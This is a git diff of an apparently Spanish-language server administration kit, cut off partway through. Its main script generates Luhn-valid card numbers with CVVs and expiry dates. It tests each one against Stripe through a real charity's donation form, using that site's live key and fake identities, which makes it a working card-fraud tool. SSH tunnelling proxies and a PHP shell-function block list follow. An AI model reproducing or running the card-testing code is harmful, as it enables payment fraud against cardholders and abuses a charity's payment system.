's@^disable_functions.*@disable_functions = passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,popen@' /etc/php/7.2/apache2/php.ini + # [ -ne /usr/sbin/sendmail ] && sed -i 's@^;sendmail_path.*@sendmail_path = /usr/sbin/sendmail -t -i@' /etc/php/7.2/apache2/php.ini + # sed -i "s@^;curl.cainfo.*@curl.cainfo = ${openssl_install_dir}/cert.pem@" /etc/php/7.2/apache2/php.ini + # sed -i "s@^;openssl.cafile.*@openssl.cafile = ${openssl_install_dir}/cert.pem@" /etc/php/7.2/apache2/php.ini +} +gerar_cc_fun(){ +if [[ -e /usr/bin/python ]]; then +PY="/usr/bin/python" +elif [[ -e /bin/python ]]; then +PY="/bin/python" +else +install_fun +exit 1 +fi +$PY -x << PYTHON +import getopt +import time +import os +import sys +import datetime +from random import randint +version = "1.0.0" +def parseOptions(): + bin_format = "" + saveopt = False + limit = 10 + ccv = False + date = False + check = False + + try: + argv = "$@".split() + opts, args = getopt.getopt(argv, "h:b:u:gcd",["help", "bin", "guardar", "cantidad", "ccv", "date"]) + for opt, arg in opts: + if opt in ("-h"): + sys.exit() + elif opt in ("-b", "-bin"): + bin_format = arg + elif opt in ("-g", "-guardar"): + saveopt = True + elif opt in ("-u", "-cantidad"): + limit = arg + elif opt in ("-c", "-ccv"): + ccv = True + elif opt in ("-d", "-date"): + date = True + + return(bin_format, saveopt, limit, ccv, date) + + except getopt.GetoptError: + sys.exit(2) + +def cardLuhnChecksumIsValid(card_number): + """ checks to make sure that the card passes a luhn mod-10 checksum """ + + sum = 0 + num_digits = len(card_number) + oddeven = num_digits & 1 + + for count in range(0, num_digits): + digit = int(card_number[count]) + + if not (( count & 1 ) ^ oddeven ): + digit = digit * 2 + if digit > 9: + digit = digit - 9 + + sum = sum + digit + + return ( (sum % 10) == 0 ) + +def ccgen(bin_format): + out_cc = "" + if len(bin_format) == 16: + for i in range(15): + if bin_format[i] in ("0", "1", "2", "3", "4", "5", "6", "7", "8", "9"): + out_cc = out_cc + bin_format[i] + continue + elif bin_format[i] in ("x"): + out_cc = out_cc + str(randint(0,9)) + else: + print("\ERROR: {}\n".format(bin_format)) + print("ERROR: bin 16 digitos\n") + sys.exit() + + for i in range(10): + checksum_check = out_cc + checksum_check = checksum_check + str(i) + + if cardLuhnChecksumIsValid(checksum_check): + out_cc = checksum_check + break + else: + checksum_check = out_cc + + else: + print("\033[1;32m") + print("ERROR: bin 16 digitos\n") + sys.exit() + + return(out_cc) + +def save(generated): + now = datetime.datetime.now() + file_name = "cc-gen_output_{0}.txt".format(str(now.day) + str(now.hour) + str(now.minute) + str(now.second)) + f = open(file_name, 'w') + for line in generated: + f.write(line + "\n") + f.close + +def ccvgen(): + ccv = "" + num = randint(10,999) + + if num < 100: + ccv = "0" + str(num) + else: + ccv = str(num) + + return(ccv) + +def dategen(): + now = datetime.datetime.now() + date = "" + month = str(randint(1, 12)) + current_year = str(now.year) + year = str(randint(int(current_year[-2:]) + 1, int(current_year[-2:]) + 6)) + date = month + "|" + year + + return date + +def main(): + bin_list = [] + (bin_format, saveopt, limit, ccv, date) = parseOptions() + if bin_format is not "": + for i in range(int(limit)): + if ccv and date: + bin_list.append(ccgen(bin_format) + "|" + ccvgen() + "|" + dategen()) + print(bin_list[i]) + elif ccv and not date: + bin_list.append(ccgen(bin_format) + "|" + ccvgen()) + print(bin_list[i]) + elif date and not ccv: + bin_list.append(ccgen(bin_format) + "|" + dategen()) + print(bin_list[i]) + elif not date and not ccv: + bin_list.append(ccgen(bin_format)) + print(bin_list[i]) + + if not bin_list: + print("\nERROR: no valido bin\n") + if saveopt: + save(bin_list) + else: + sys.exit() + +if __name__ == '__main__': + main() +PYTHON +} +# TESTA CC / PHP +php_fun () { +if [[ -e /usr/bin/php ]]; then +true +elif [[ -e /bin/php ]]; then +true +else +install_fun +exit 1 +fi +cat << PHP +set_time_limit(0); +error_reporting(0); +date_default_timezone_set('America/Sao_Paulo'); + +function GetStr(\$string, \$start, \$end) +{ + \$str = explode(\$start, \$string); + \$str = explode(\$end, \$str[1]); + return \$str[0]; +} +\$cc = $1; +\$mes = $2; +\$ano = $3; +\$cvv = $4; +function value(\$str,\$find_start,\$find_end){ +\$start = @strpos(\$str,\$find_start); +if (\$start === false) { +return ""; +} +\$length = strlen(\$find_start); +\$end = strpos(substr(\$str,\$start +\$length),\$find_end); +return trim(substr(\$str,\$start +\$length,\$end)); +} +function mod(\$dividendo,\$divisor){ +return round(\$dividendo - (floor(\$dividendo/\$divisor)*\$divisor)); +} +function cpf(\$compontos){ +\$n1 = rand(0,9); +\$n2 = rand(0,9); +\$n3 = rand(0,9); +\$n4 = rand(0,9); +\$n5 = rand(0,9); +\$n6 = rand(0,9); +\$n7 = rand(0,9); +\$n8 = rand(0,9); +\$n9 = rand(0,9); +\$d1 = \$n9*2+\$n8*3+\$n7*4+\$n6*5+\$n5*6+\$n4*7+\$n3*8+\$n2*9+\$n1*10; +\$d1 = 11 - ( mod(\$d1,11) ); +if ( \$d1 >= 10 ) { \$d1 = 0 ;} +\$d2 = \$d1*2+\$n9*3+\$n8*4+\$n7*5+\$n6*6+\$n5*7+\$n4*8+\$n3*9+\$n2*10+\$n1*11; +\$d2 = 11 - ( mod(\$d2,11) ); +if (\$d2>=10) { \$d2 = 0 ;} +\$retorno = ''; +if (\$compontos==1) {\$retorno = ''.\$n1.\$n2.\$n3.\$n4.\$n5.\$n6.\$n7.\$n8.\$n9.\$d1.\$d2;} +return \$retorno; +} +function dadosnome(){ + \$nome = file("lista_nomes.txt"); + \$mynome = rand(0, sizeof(\$nome)-1); + \$nome = \$nome[\$mynome]; + return \$nome; +} +function dadossobre(){ + \$sobrenome = file("lista_sobrenomes.txt"); + \$mysobrenome = rand(0, sizeof(\$sobrenome)-1); + \$sobrenome = \$sobrenome[\$mysobrenome]; + return \$sobrenome; +} +function email(\$nome){ + \$email = preg_replace('<\W+>', "", \$nome).rand(0000,9999)."@hotmail.com"; + return \$email; +} +\$cpf = cpf(1); +\$nome = dadosnome(); +\$sobrenome = dadossobre(); +\$email = email(\$nome); +\$_SERVER['HTTP_USER_AGENT'] = 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0'; +\$ch = curl_init(); +curl_setopt(\$ch, CURLOPT_URL, 'https://api.stripe.com/v1/tokens'); +curl_setopt(\$ch, CURLOPT_HEADER, 0); +curl_setopt(\$ch, CURLOPT_USERAGENT, \$_SERVER['HTTP_USER_AGENT']); +curl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1); +curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1); +curl_setopt(\$ch, CURLOPT_SSL_VERIFYPEER, 0); +curl_setopt(\$ch, CURLOPT_SSL_VERIFYHOST, 0); +curl_setopt(\$ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt'); +curl_setopt(\$ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt'); +curl_setopt(\$ch, CURLOPT_HTTPHEADER, array('Host: api.stripe.com', +'User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', +'Accept: application/json', +'Content-Type: application/x-www-form-urlencoded', +'Referer: https://js.stripe.com/v2/channel.html?stripe_xdm_e=https%3A%2F%2Fwww.thelambcenter.org&stripe_xdm_c=default816925&stripe_xdm_p=1', +'Connection: keep-alive')); +curl_setopt(\$ch, CURLOPT_POSTFIELDS, 'time_on_page=533863&pasted_fields=number&guid=9c0b4f09-af1e-4846-896d-ff0c8290b579&muid=4a6fc0a9-d552-4e49-9689-e8ddbd2ebd9a&sid=a69b7f1c-7f1b-47cd-8960-41b7aa981889&key=pk_live_RyjDopRG8UNId1fsx3KyDY0l&payment_user_agent=stripe.js%2F604c5e8&card[name]='.\$nome.'+'.\$sobrenome.'&card[number]='.\$cc.'&card[cvc]='.\$cvv.'&card[exp_month]='.\$mes.'&card[exp_year]='.\$ano.'&card[address_line1]=Street+435&card[address_line2]=&card[address_city]=New+York&card[address_state]=NM&card[address_country]=US&card[address_zip]=10001'); +\$pagamento = curl_exec(\$ch); +\$invalidvar = str_replace(" " , "", \$pagamento); +\$invalidvar = str_replace("\n" , "", \$invalidvar); +\$ccinvalid = trim(strip_tags(getstr(\$invalidvar,'"error":{"code":"','"'))); +if ( \$ccinvalid == 'incorrect_number' ){ +exit; +} +\$token = trim(strip_tags(getstr(\$pagamento,'id": "','"'))); +\$ch = curl_init(); +curl_setopt(\$ch, CURLOPT_URL, 'https://www.thelambcenter.org/wp-admin/admin-ajax.php'); +curl_setopt(\$ch, CURLOPT_HEADER, 0); +curl_setopt(\$ch, CURLOPT_USERAGENT, \$_SERVER['HTTP_USER_AGENT']); +curl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1); +curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1); +curl_setopt(\$ch, CURLOPT_SSL_VERIFYPEER, 0); +curl_setopt(\$ch, CURLOPT_SSL_VERIFYHOST, 0); +curl_setopt(\$ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt'); +curl_setopt(\$ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt'); +curl_setopt(\$ch, CURLOPT_POSTFIELDS, 'pubkey=pk_live_RyjDopRG8UNId1fsx3KyDY0l&siteUrl=https%3A%2F%2Fwww.thelambcenter.org&tokenX=de8bf87112&description=Lamb+Center+Donation&url=https%3A%2F%2Fwww.thelambcenter.org%2Fdonate%2Fthank-you%2F&diglabs-payment-form-id=b74c0fd1c02a6c10b25aba2b337f79d8&amount-option=0&amountShown=1.00&fname='.\$nome.'&lname='.\$sobrenome.'&email='.\$email.'&address1=Street+435&address2=&city=New+York&state=NM&country=US&zip=10001&phone=&honor-of=&token='.\$token.'&action=stripe_plugin_process_card'); +\$pagamento = curl_exec(\$ch); +\$cbin = substr(\$cc, 0,1); +if(\$cbin == "5"){ +\$cbin = "fa fa-cc-mastercard"; +}else if(\$cbin == "4"){ +\$cbin = "fa fa-cc-visa"; +}else if(\$cbin == "3"){ +\$cbin = "fa fa-cc-amex"; +} +\$valores = array('R\$ 1,00','R\$ 5,00','R\$ 1,40','R\$ 4,80','R\$ 2,00','R\$ 7,00','R\$ 10,00','R\$ 3,00','R\$ 3,40','R\$ 5,50'); +\$debitouu = \$valores[mt_rand(0,9)]; + \$bin = substr(\$cc, 0,6); + \$binn = substr(\$cc, 0,6); + \$ch = curl_init(); + curl_setopt(\$ch, CURLOPT_URL, 'https://www.cardbinlist.com/search.html?bin='.\$bin); + curl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1); + curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt(\$ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt(\$ch, CURLOPT_SSL_VERIFYHOST, 0); + \$bin = curl_exec(\$ch); + \$level = trim(strip_tags(getstr(\$bin,'Card Sub Brand',''))); + curl_close(\$ch); + \$ch = curl_init(); + curl_setopt(\$ch, CURLOPT_URL, 'https://lookup.binlist.net/'.\$binn); + curl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1); + curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt(\$ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt(\$ch, CURLOPT_SSL_VERIFYHOST, 0); + \$bin = curl_exec(\$ch); + curl_close(\$ch); +\$data = date("d/m/Y H:i:s"); +\$pais = trim(strip_tags(getstr(\$bin,'country":{"alpha2":"','"'))); +\$banco = trim(strip_tags(getstr(\$bin,'"bank":{"name":"','"'))); +\$brand = trim(strip_tags(getstr(\$bin,'"scheme":"','"'))); +\$fone = trim(strip_tags(getstr(\$bin,'"phone":"','"'))); +\$tipo = trim(strip_tags(getstr(\$bin,'},"type":"','"'))); +if (\$data!="") {echo "Consulta: \$data\n";} +if (\$level!="") {echo "Nivel: \$level\n";} +if (\$pais!="") {echo "Pais: \$pais\n";} +if (\$brand!="") {echo "bandera: \$brand\n";} +if (\$fone!="") {echo "telefono: \$fone\n";} +if (\$tipo!="") {echo "Tipo: \$tipo\n";} +PHP +} +echo -ne "Escriba el bin: " && read UsrBin +while [[ ${#UsrBin} -lt 16 ]]; do UsrBin+="x"; done +echo -ne "Cuntas Bin quiere Generar: " && read GerBin +[[ $GerBin != +([0-9]) ]] && GerBin=10 +[[ -z $GerBin ]] && GerBin=10 +BINS=$(gerar_cc_fun -b ${UsrBin} -u ${GerBin} -d -c) +echo -e "==============================" + for bins in $(echo $BINS); do + cc=$(echo $bins|cut -d'|' -f1) + mes=$(echo $bins|cut -d'|' -f3) + [[ ${#mes} = "1" ]] && mes="0${mes}" + ano=$(echo $bins|cut -d'|' -f4) + ano="20${ano}" + cvv=$(echo $bins|cut -d'|' -f2) + BIN=$(php -r "$(php_fun $cc $mes $ano $cvv)" 2>/dev/null) + if [[ -z $BIN ]]; then + echo -e "BIN: $cc INVALIDA" + echo -e "==============================" + else + echo "BIN Encontrado!" + echo "BIN: $cc $mes $ano $cvv" + echo "$BIN" + echo -e "==============================" + fi + done + [[ -e ./cookie.txt ]] && rm ./cookie.txt \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/PDirect.py b/ADM-VENTAS-LEALDROID/request/PDirect.py new file mode 100644 index 0000000..e6412db --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/PDirect.py @@ -0,0 +1,267 @@ +import socket, threading, thread, select, signal, sys, time, getopt + +# Listen +LISTENING_ADDR = '0.0.0.0' +if sys.argv[1:]: + LISTENING_PORT = sys.argv[1] +else: + LISTENING_PORT = 80 +#Pass +PASS = '' + +# CONST +BUFLEN = 4096 * 4 +TIMEOUT = 60 +DEFAULT_HOST = '127.0.0.1:22' +RESPONSE = 'HTTP/1.1 200 Connection established\r\n\r\n' +#RESPONSE = 'HTTP/1.1 200 Hello_World!\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 Connection established\r\n\r\n' # lint:ok + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + intport = int(self.port) + self.soc.bind((self.host, intport)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 22 + else: + port = sys.argv[1] + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + if error: + break + + +def print_usage(): + print 'Usage: proxy.py -p ' + print ' proxy.py -b -p ' + print ' proxy.py -b 0.0.0.0 -p 80' + +def parse_args(argv): + global LISTENING_ADDR + global LISTENING_PORT + + try: + opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="]) + except getopt.GetoptError: + print_usage() + sys.exit(2) + for opt, arg in opts: + if opt == '-h': + print_usage() + sys.exit() + elif opt in ("-b", "--bind"): + LISTENING_ADDR = arg + elif opt in ("-p", "--port"): + LISTENING_PORT = int(arg) + + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + print "\n:-------PythonProxy-------:\n" + print "Listening addr: " + LISTENING_ADDR + print "Listening port: " + str(LISTENING_PORT) + "\n" + print ":-------------------------:\n" + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Stopping...' + server.close() + break + +####### parse_args(sys.argv[1:]) +if __name__ == '__main__': + main() diff --git a/ADM-VENTAS-LEALDROID/request/PGet.py b/ADM-VENTAS-LEALDROID/request/PGet.py new file mode 100644 index 0000000..65b27f0 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/PGet.py @@ -0,0 +1,682 @@ +import sys, time, getopt, socket, threading, base64 + + +# CONFIG +CONFIG_LISTENING = '0.0.0.0:8799' +CONFIG_PASS = 'pwd.pwd' + + +class Logger: + + logLock = threading.Lock() + LOG_INFO = 1 + LOG_WARN = 2 + LOG_ERROR = 3 + + def printWarn(self, log): + self.log(log) + + def printInfo(self, log): + self.log(log) + + def printError(self, log): + self.log(log) + + def printLog(self, log, logLevel): + if logLevel == Logger.LOG_INFO: + self.printInfo('<-> ' + log) + elif logLevel == Logger.LOG_WARN: + self.printWarn(' ' + log) + elif logLevel == Logger.LOG_ERROR: + self.printError('<#> ' + log) + + def log(self, log): + with Logger.logLock: + print log + + + +class PasswordSet: + FILE_EXEMPLE = 'master=passwd123\n127.0.0.1:22=pwd321;321pawd\n1.23.45.67:443=pass123' + + def __init__(self, masterKey=None): + self.masterKey = masterKey + + def parseFile(self, fileName): + isValid = False + + with open(fileName) as f: + content = f.readlines() + + content = [x.strip() for x in content] + content = [item for item in content if not str(item).startswith('#')] + + if len(content) > 0: + masterKey = content[0] + + if self.splitParam(masterKey, '=') is not None and masterKey.startswith('master'): + self.masterKey = self.splitParam(masterKey, '=')[1] + + isValid = True + self.map = dict() + + for i, v in enumerate(content[1:]): + hostAndPass = self.splitParam(v, '=') + + if hostAndPass is not None: + self.map[hostAndPass[0]] = hostAndPass[1].split(';') + + return isValid + + def isValidKey(self, key, target): + valid = False + + if not self.masterKey == key: + if hasattr(self, 'map'): + if self.map.has_key(target): + valid = key in self.map[target] + else: + valid = True + + return valid + + + def splitParam(self, param, c): + index = param.find(c) + + ret = None + + if index != -1: + ret = [] + ret.append(param[0:index]) + ret.append(param[index+1:]) + + return ret + + + + +class ClientRequest: + MAX_LEN_CLIENT_REQUEST = 1024 * 100 + HEADER_CONTENT_LENGTH = 'Content-Length' + HEADER_ACTION = 'X-Action' + ACTION_CLOSE = 'close' + ACTION_DATA = 'data' + + def __init__(self, socket): + self.socket = socket + self.readConent = False + + def parse(self): + line = '' + count = 0 + self.isValid = False + self.data = None + self.contentLength = None + self.action = None + + while line != '\r\n' and count < ClientRequest.MAX_LEN_CLIENT_REQUEST: + line = self.readHttpLine() + + if line is None: + break + + if line.startswith(ClientRequest.HEADER_ACTION): + self.action = self.getHeaderVal(line) + + if not self.action is None: + if self.action == ClientRequest.ACTION_CLOSE or self.action == ClientRequest.ACTION_DATA: + self.isValid = True + + count += len(line) + + if self.readConent: + if self.contentLength > 0 and self.contentLength < ClientRequest.MAX_LEN_CLIENT_REQUEST: + self.data = self.readFully(self.contentLength) + + return self.isValid + + def readHttpLine(self): + line = '' + count = 0 + socket = self.socket + + b = socket.recv(1) + + if not b: + return None + + while count < ClientRequest.MAX_LEN_CLIENT_REQUEST: + count += 1 + line += b + + if b == '\r': + b = socket.recv(1) + count += 1 + + if not b: + break + + line += b + + if b == '\n': + break + + b = socket.recv(1) + + if not b: + break + + if not b: + return None + + return line + + def getHeaderVal(self, header): + ini = header.find(':') + + if ini == -1: + return None + + ini += 2 + + fim = header.find('\r\n') + + if fim == -1: + header = header[ini:] + + return header[ini:fim] + + def readFully(self, n): + count = 0 + data = '' + + while count < n: + packet = self.socket.recv(n - count) + + if not packet: + break + + count += len(packet) + data += packet + + + + +class Client(threading.Thread): + ACTION_DATA = 'data' + BUFFER_SIZE = 4096 + + def __init__(self, id, readSocket, target): + super(Client, self).__init__() + self.targetHostPort = target + self.id = id + self.readSocket = readSocket + self.logger = Logger() + self.isStopped = False + self.onCloseFunction = None + self.closeLock = threading.Lock() + self.threadEndCount = 0 + self.writeSocket = None + + def connectTarget(self): + aux = self.targetHostPort.find(':') + + host = self.targetHostPort[:aux] + port = int(self.targetHostPort[aux + 1:]) + + self.target = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.target.connect((host, port)) + + def run(self): + try: + self.connectTarget() + + request = ClientRequest(self.readSocket) + request.readConent = False + + if not request.parse() or not Client.ACTION_DATA == request.action: + raise Exception('client sends invalid request') + + threadRead = ThreadRelay(self.readSocket, self.target, self.finallyClose) + threadRead.logFunction = self.log + threadRead.start() + + threadWrite = ThreadRelay(self.target, self.writeSocket, self.finallyClose) + threadWrite.logFunction = self.log + threadWrite.start() + except Exception as e: + self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR) + self.close() + + def finallyClose(self): + with self.closeLock: + self.threadEndCount += 1 + + if self.threadEndCount == 2: + self.close() + + def close(self): + if not self.isStopped: + self.isStopped = True + + if hasattr(self, 'target'): + try: + self.target.close() + except: + pass + + if hasattr(self, 'writeSocket'): + try: + self.writeSocket.close() + except: + pass + + if hasattr(self, 'readSocket'): + try: + self.readSocket.close() + except: + pass + + self.onClose() + self.log('closed', Logger.LOG_INFO) + + def onClose(self): + if not self.onCloseFunction is None: + self.onCloseFunction(self) + + def log(self, msg, logLevel): + msg = 'Client ' + str(self.id) + ': ' + msg + self.logger.printLog(msg, logLevel) + + +class ThreadRelay(threading.Thread): + def __init__(self, readSocket, writeSocket, closeFunction=None): + super(ThreadRelay, self).__init__() + self.readSocket = readSocket + self.writeSocket = writeSocket + self.logFunction = None + self.closeFuntion = closeFunction + + def run(self): + try: + while True: + data = self.readSocket.recv(Client.BUFFER_SIZE) + if not data: + break + self.writeSocket.sendall(data) + + self.writeSocket.shutdown(socket.SHUT_WR) + except Exception as e: + if not self.logFunction is None: + self.logFunction('threadRelay error: ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR) + finally: + if not self.closeFuntion is None: + self.closeFuntion() + + + + +class AcceptClient(threading.Thread): + MAX_QTD_BYTES = 5000 + HEADER_BODY = 'X-Body' + HEADER_ACTION = 'X-Action' + HEADER_TARGET = 'X-Target' + HEADER_PASS = 'X-Pass' + HEADER_ID = 'X-Id' + ACTION_CREATE = 'create' + ACTION_COMPLETE = 'complete' + MSG_CONNECTION_CREATED = 'Created' + MSG_CONNECTION_COMPLETED = 'Completed' + + ID_COUNT = 0 + ID_LOCK = threading.Lock() + + def __init__(self, socket, server, passwdSet=None): + super(AcceptClient, self).__init__() + self.server = server + self.passwdSet = passwdSet + self.socket = socket + + def run(self): + needClose = True + + try: + head = self.readHttpRequest() + + bodyLen = self.getHeaderVal(head, AcceptClient.HEADER_BODY) + if not bodyLen is None: + try: + self.readFully(int(bodyLen)) + except ValueError: + pass + + action = self.getHeaderVal(head, AcceptClient.HEADER_ACTION) + + if action is None: + self.log('client sends no action header', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 NoActionHeader!\r\nServer: GetTunnelServer\r\n\r\n') + return + + if action == AcceptClient.ACTION_CREATE: + target = self.getHeaderVal(head, AcceptClient.HEADER_TARGET) + + if not self.passwdSet is None: + passwd = self.getHeaderVal(head, AcceptClient.HEADER_PASS) + + try: + passwd = base64.b64decode(passwd) + except: + passwd = None + pass + + if passwd is None or not self.passwdSet.isValidKey(passwd, target): + self.log('client sends wrong key', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 403 Forbidden\r\nServer: GetTunnelServer\r\n\r\n') + return + + if target is not None and self.isValidHostPort(target): + id = self.generateId() + + client = Client(id, self.socket, target) + client.onCloseFunction = self.server.removeClient + self.server.addClient(client) + self.socket.sendall('HTTP/1.1 200 '+ AcceptClient.MSG_CONNECTION_CREATED + '\r\nServer: GetTunnelServer\r\nX-Id: ' + str(id) + '\r\nContent-Type: text/plain\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n') + self.log('connection created - ' + str(id), Logger.LOG_INFO) + needClose = False + else: + self.log('client sends no valid target', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 Target!\r\nServer: GetTunnelServer\r\n\r\n') + + elif action == AcceptClient.ACTION_COMPLETE: + id = self.getHeaderVal(head, AcceptClient.HEADER_ID) + + if not id is None: + client = self.server.getClient(id) + + if not client is None: + client.writeSocket = self.socket + + self.log('connection completed - ' + str(id), Logger.LOG_INFO) + self.socket.sendall('HTTP/1.1 200 ' + AcceptClient.MSG_CONNECTION_COMPLETED + '\r\nServer: GetTunnelServer\r\nConnection: Keep-Alive\r\n\r\n') + + client.start() + needClose = False + else: + self.log('client try to complete non existing connection', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 CreateFirst!\r\nServer: GetTunnelServer\r\n\r\n') + else: + self.log('client sends no id header', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 NoID!\r\nServer: GetTunnelServer\r\n\r\n') + else: + self.log('client sends invalid action', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 InvalidAction!\r\nServer: GetTunnelServer\r\n\r\n') + + except Exception as e: + self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR) + finally: + if needClose: + try: + self.socket.close() + except: + pass + + def log(self, msg, logLevel): + self.server.log(msg, logLevel) + + def readHttpRequest(self): + request = '' + linha = '' + count = 0 + + while linha != '\r\n' and count < AcceptClient.MAX_QTD_BYTES: + linha = self.readHttpLine() + + if linha is None: + break + + request += linha + count += len(linha) + + return request + + def readHttpLine(self): + line = '' + count = 0 + socket = self.socket + + b = socket.recv(1) + + if not b: + return None + + while count < AcceptClient.MAX_QTD_BYTES: + count += 1 + line += b + + if b == '\r': + b = socket.recv(1) + count += 1 + + if not b: + break + + line += b + + if b == '\n': + break + + b = socket.recv(1) + + if not b: + break + + if not b: + return None + + return line + + def getHeaderVal(self, head, header): + if not head.startswith('\r\n'): + header = '\r\n' + header + + if not header.endswith(': '): + header = header + ': ' + + ini = head.find(header) + + if ini == -1: + return None + + end = head.find('\r\n', ini+2) + + ini += len(header) + + if end == -1 or ini > end or ini >= len(head): + return None + + return head[ini:end] + + def readFully(self, n): + count = 0 + + while count < n: + packet = self.socket.recv(n - count) + + if not packet: + break + + count += len(packet) + + def isValidHostPort(self, hostPort): + aux = hostPort.find(':') + + if aux == -1 or aux >= len(hostPort) -1: + return False + + try: + int(hostPort[aux+1:]) + return True + except ValueError: + return False + + def generateId(self): + with AcceptClient.ID_LOCK: + AcceptClient.ID_COUNT += 1 + return AcceptClient.ID_COUNT + + + +class Server(threading.Thread): + + def __init__(self, listening, passwdSet=None): + super(Server, self).__init__() + self.listening = listening + self.passwdSet = passwdSet + self.running = False + self.logger = Logger() + self.isStopped = False + self.clientsLock = threading.Lock() + self.clients = [] + + def run(self): + try: + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + self.soc.bind((self.listening[:self.listening.find(':')], int(self.listening[self.listening.find(':') + 1:]))) + self.soc.listen(0) + + self.log('running on ' + self.listening, Logger.LOG_INFO) + + self.running = True + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + + self.log('opennig connection - ' + 